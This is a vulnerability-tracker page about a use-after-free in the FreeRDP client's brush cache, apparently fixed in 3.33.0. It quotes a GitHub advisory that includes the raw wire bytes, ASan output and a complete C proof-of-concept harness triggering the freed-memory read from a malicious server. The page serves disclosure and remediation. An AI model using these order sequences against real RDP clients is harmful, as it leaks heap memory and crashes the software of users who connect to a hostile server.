Read the docs

Use after free in FreeRDP brush cache drawing orders

Priority MEDIUM 40CWE-416Published · Updated

Key facts

Attack vector
Network
Privileges required
None
User interaction
Required
Attack complexity
Low
Impact type
—
Confidentiality · integrity · availability
Low · None · Low
Fix status
Fixed

Attack profile from CVSS 3.1 · GHSA-fw6x-h8gw-778w. Fix status from GitHub.

Summary

FreeRDP through 3.32.2 is affected by a use-after-free in its handling of the PATBLT and CACHE_BRUSH drawing orders. A stale pointer to a brush cache entry is kept after the entry is freed, so a malicious RDP server can make the client read freed heap memory and paint it on screen. The attack needs no special configuration, and the flaw is classified as CWE-416. The impact is limited to reading freed memory, and user interaction is required.

Written with Claude Haiku 5.5 from the sources below · 2026-11-12

Description from the GitHub advisory

### Summary hey, a malicious rdp server can get a freerdp client to read freed heap memory using nothing but plain old drawing orders CACHE_BRUSH and PATBLT, which every client accepts by default. update_gdi_patblt() stashes a raw pointer to a brush cache entry inside the persistent PATBLT_ORDER struct and never clears it. send another CACHE_BRUSH to the same slot and that entry gets freed. send a PATBLT after that with only the brush style field set and gdi_patblt() reads 8*8*bpp bytes out of the freed chunk and paints them on screen. i confirmed this with asan by pushing raw wire bytes through update_recv_order(). no command line flags, no optional channels. xfreerdp, sdl-freerdp, wlfreerdp, remmina, gnome connections, anything on libfreerdp3 is affected. it's a read, i didn't find a write out of it, but it's still a real use of freed memory on the main render path. ### Details tested on master b2403bb99fba33acc817ffd4042b64e077d59076 (3.32.2-487). the same code is in the 3.32.2 release. libfreerdp/cache/brush.c, update_gdi_patblt(), but update_gdi_polygon_cb() and update_gdi_mem3blt() also do the same thing: ``` const BYTE style = (BYTE)brush->style; if (brush->style & CACHED_BRUSH) { brush->data = brush_cache_get(cache->brush, brush->index, &brush->bpp); // pointer INTO the cache entry brush->style = 0x03; } IFCALLRET(cache->brush->PatBlt, ret, context, patblt); brush->style = style; // style gets restored, brush->data and brush->bpp don't ``` libfreerdp/core/orders.c, update_read_brush(): PATBLT_ORDER lives inside the persistent rdpPrimaryUpdate and only the fields whose flag bits are set get touched. brush->data is only assigned, to the inline p8x8 array, when field 5 is present, and brush->bpp is only assigned for cached brushes. so whatever was there last time sticks around. libfreerdp/cache/brush.c, brush_cache_put(): a CACHE_BRUSH into an occupied slot free()s the old entry. libfreerdp/gdi/gdi.c, gdi_patblt() for GDI_BS_PATTERN: ``` if (brush->bpp > 1) freerdp_image_copy_no_overlap(data, ..., 8, 8, brush->data, brushFormat, ...); // reads 8*8*bpp bytes ``` the sequence: 1. CACHE_BRUSH secondary, slot 0, BMF_24BPP, 8x8, 192 bytes. brush_cache_put() mallocs entry A. 2. PATBLT primary with brush.style = CACHED_BRUSH | BMF_24BPP, hatch/index 0. update_gdi_patblt() puts A into the persistent brush->data and 24 into brush->bpp. 3. CACHE_BRUSH to slot 0 again. brush_cache_put() frees A. 4. PATBLT with only the brush style field, style 0x03, not cached. update_gdi_patblt() passes it straight through and gdi_patblt() reads 192 bytes from A. variant: in step 4 also include field 5, the 8 inline p8x8 bytes. now brush->data points at p8x8[8] but brush->bpp is still 24, so it reads 192 bytes out of an 8 byte member of rdpPrimaryUpdate. check_secondary_order_supported() returns TRUE unconditionally for ORDER_TYPE_CACHE_BRUSH and PATBLT is in the default order support set, so there's no capability dance needed. the stale pointer also flows into front end callbacks that draw brushes themselves, like xf_gdi_patblt in the x11 client. how i'd fix it: * in update_gdi_patblt(), update_gdi_polygon_cb() and update_gdi_mem3blt(), save and restore brush->data and brush->bpp around the callback like you already do for brush->style, or copy the cache entry into a local 8x8 buffer instead of aliasing it. * in update_read_brush(), whenever the parsed style isn't CACHED_BRUSH, reset brush->data = brush->p8x8 and brush->bpp = 1 so nothing stale survives between orders. * make gdi_patblt()/gdi_mem3blt() bail on GDI_BS_PATTERN with a NULL brush->data and sanity check brush->bpp against where the data actually comes from. ### Proof of concept ``` cmake -S src -B build -G Ninja -DCMAKE_BUILD_TYPE=Debug -DCMAKE_C_FLAGS="-fsanitize=address,undefined -fno-omit-frame-pointer" \ -DCMAKE_EXE_LINKER_FLAGS="-fsanitize=address,undefined" -DBUILD_SHARED_LIBS=OFF -DWITH_UNICODE_BUILTIN=ON -DWITH_CLIENT=OFF -DWITH_SERVER=OFF -DBUILD_TESTING=OFF ``` the test below sets up a context with gdi_init(), moves the connection to CONNECTION_STATE_ACTIVE and feeds the four orders as raw bytes through update_recv_order(), same as they'd arrive inside a fastpath orders update. wire bytes: ``` CACHE_BRUSH: 03 BF 00 00 00 07 00 05 08 08 00 C0 + 192 x 0x41 PATBLT cached: 09 01 FF 07 00 00 00 00 10 00 10 00 F0 00 00 00 FF FF FF 00 00 85 00 CACHE_BRUSH: same as above PATBLT stale: 09 01 00 02 03 ``` asan says: ``` ==12445==ERROR: AddressSanitizer: heap-use-after-free on address 0x510000000f40 READ of size 1 at 0x510000000f40 thread T0 #5 freerdp_image_copy_no_overlap libfreerdp/codec/color.c:1999 #6 gdi_patblt libfreerdp/gdi/gdi.c:661 #7 update_gdi_patblt libfreerdp/cache/brush.c:80 #8 update_recv_primary_order libfreerdp/core/orders.c:3952 #9 update_recv_order libfreerdp/core/orders.c:4544 0x510000000f40 is located 0 bytes inside of 192-byte region freed by thread T0 here: #1 brush_cache_put libfreerdp/cache/brush.c:214 #2 update_gdi_cache_brush libfreerdp/cache/brush.c:140 #3 update_recv_secondary_order libfreerdp/core/orders.c:4305 previously allocated by thread T0 here: #1 update_gdi_cache_brush libfreerdp/cache/brush.c:134 ``` against a real client a server just has to emit those four orders in one orders update once the connection is active. full poc: ```c #include <stdio.h> #include <string.h> #include <winpr/stream.h> #include <freerdp/freerdp.h> #include <freerdp/settings.h> #include <freerdp/update.h> #include <freerdp/gdi/gdi.h> #include <freerdp/codec/color.h> extern BOOL cache_resize(rdpContext* context); extern BOOL rdp_client_transition_to_state(rdpRdp* rdp, CONNECTION_STATE state); extern BOOL update_recv_order(rdpUpdate* update, wStream* s); static BOOL feed(rdpUpdate* update, const BYTE* buf, size_t len, const char* what) { wStream sbuf; wStream* s = Stream_StaticConstInit(&sbuf, buf, len); const BOOL rc = update_recv_order(update, s); printf("update_recv_order: %d, consumed %zu/%zu\n", what, rc, Stream_GetPosition(s), len); return rc; } int main(void) { freerdp* instance = freerdp_new(); if (!instance || !freerdp_context_new(instance)) { return 1; } rdpContext* ctx = instance->context; freerdp_settings_set_uint32(ctx->settings, FreeRDP_DesktopWidth, 64); freerdp_settings_set_uint32(ctx->settings, FreeRDP_DesktopHeight, 64); freerdp_settings_set_uint32(ctx->settings, FreeRDP_ColorDepth, 32); freerdp_settings_set_default_order_support(ctx->settings); if (!cache_resize(ctx)) { return 2; } if (!gdi_init(instance, PIXEL_FORMAT_BGRX32)) { return 3; } if (!rdp_client_transition_to_state(ctx->rdp, CONNECTION_STATE_ACTIVE)) { return 4; } rdpUpdate* update = ctx->update; BYTE cache_brush[6 + 6 + 192]; size_t n = 0; cache_brush[n++] = 0x03; cache_brush[n++] = (BYTE)((198 - 7)); cache_brush[n++] = 0x00; cache_brush[n++] = 0x00; cache_brush[n++] = 0x00; cache_brush[n++] = 0x07; cache_brush[n++] = 0x00; cache_brush[n++] = 0x05; cache_brush[n++] = 0x08; cache_brush[n++] = 0x08; cache_brush[n++] = 0x00; cache_brush[n++] = 0xC0; memset(&cache_brush[n], 0x41, 192); n += 192; const BYTE patblt_cached[] = { 0x09, 0x01, 0xFF, 0x07, 0x00, 0x00, 0x00, 0x00, 0x10, 0x00, 0x10, 0x00, 0xF0, 0x00, 0x00, 0x00, 0xFF, 0xFF, 0xFF, 0x00, 0x00, 0x85, 0x00, }; const BYTE patblt_stale[] = { 0x09, 0x01, 0x00, 0x02, 0x03, }; if (!feed(update, cache_brush, n, "CACHE_BRUSH #1")) { return 10; } if (!feed(update, patblt_cached, sizeof(patblt_cached), "PATBLT cached")) { return 11; } if (!feed(update, cache_brush, n, "CACHE_BRUSH #2 (frees entry)")) { return 12; } if (!feed(update, patblt_stale, sizeof(patblt_stale), "PATBLT stale brush.data")) { return 13; } printf("done\n"); return 0; } ``` ### Impact UAF read in the client's main drawing path, reachable from any server the user connects to, no non default options. the contents of a freed 64 to 256 byte heap chunk end up on screen, so it's also a heap layout leak if someone chains it with something else. it can crash if the chunk was handed back to the os. affects every freerdp 3.x client and anything built on libfreerdp3

Why it matters now

Fix Fixed FreeRDP: 3.33.0

SSVC decision points

Not available: CISA has not published SSVC decision points for this record.

Affected products

VendorProductAffected versionsFixed inStatusSource
—FreeRDP<=3.32.23.33.0Patch availableGHSA-fw6x-h8gw-778w
  • FreeRDP Vendor— Affected <=3.32.2 Fixed in 3.33.0 Patch available GHSA-fw6x-h8gw-778w

Remediation

Upgrade FreeRDP to version 3.33.0 or later, where this is fixed.

Written with Claude Haiku 5.5 from the sources below · 2026-11-12

  • Fix · GHSA-fw6x-h8gw-778w FreeRDP Fixed in 3.33.0 Advisory →

Timeline

  1. 2026-11-12 Threatist record created from GHSA-fw6x-h8gw-778w

References

Sources

This product uses the NVD API but is not endorsed or certified by the NVD. Sources and licences